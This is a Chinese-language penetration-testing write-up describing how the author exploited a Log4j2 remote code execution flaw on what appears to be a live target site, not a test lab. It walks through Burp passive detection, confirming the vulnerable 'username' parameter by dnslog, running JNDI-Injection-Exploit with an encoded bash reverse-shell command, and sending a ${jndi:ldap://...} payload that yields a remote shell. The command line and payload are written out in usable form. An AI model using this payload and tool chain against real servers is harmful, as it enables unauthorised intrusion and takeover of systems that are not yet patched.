在现在以及未来的一段时间里,Log4j2 漏洞依然是渗透和排查的重点。在测试靶场里复现多次,在实战中遇到还是十分兴奋,So,总得记录点什么吧。
01、漏洞发现
通过burp插件的方式,将Log4j2漏洞检测能力集成到burp进行被动扫描。在访问网站抓包的过程中,检测到目标站点存在Log4j2 RCE漏洞。
02、确认漏洞参数
由于使用参数Fuzz,每个数据包里都夹带多个参数注入Payload,我们需要进一步定位到具体的漏洞参数位置。
(1)登录ceye.io,可以查看当前的dnslog。
(2)对比burp参数注入的payload和dnslog请求,可初步确认参数username存在Log4j2 RCE漏洞。
03、构建ldap服务
通过JNDI注入利用的工具,构建好恶意类地址和ldap服务,为进一步漏洞利用做好准备。
(1)构建payload,将要执行的命令进行base64编码,可通过Java Runtime 配合 bash 编码实现。
在线编码地址:
https://www.jackson-t.ca/runtime-exec-payloads.html
(2)用JNDIExploit启动一个ldap的服务。
命令如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码后的bash反弹shell命令" -A “监听的IP地址”
04、获取目标权限
利用Log4j2漏洞向目标服务器发送构造的payload语句,反弹shell,从而获取目标服务器权限。
(1)启动端口监听
(2)在burp进行构造payload,url编码后发送请求。
Payload:
?username=${jndi:ldap://xxx.xxx.xxx.xxx:1389/pgc2pp}
(3)服务端成功接收到bash反弹的shell。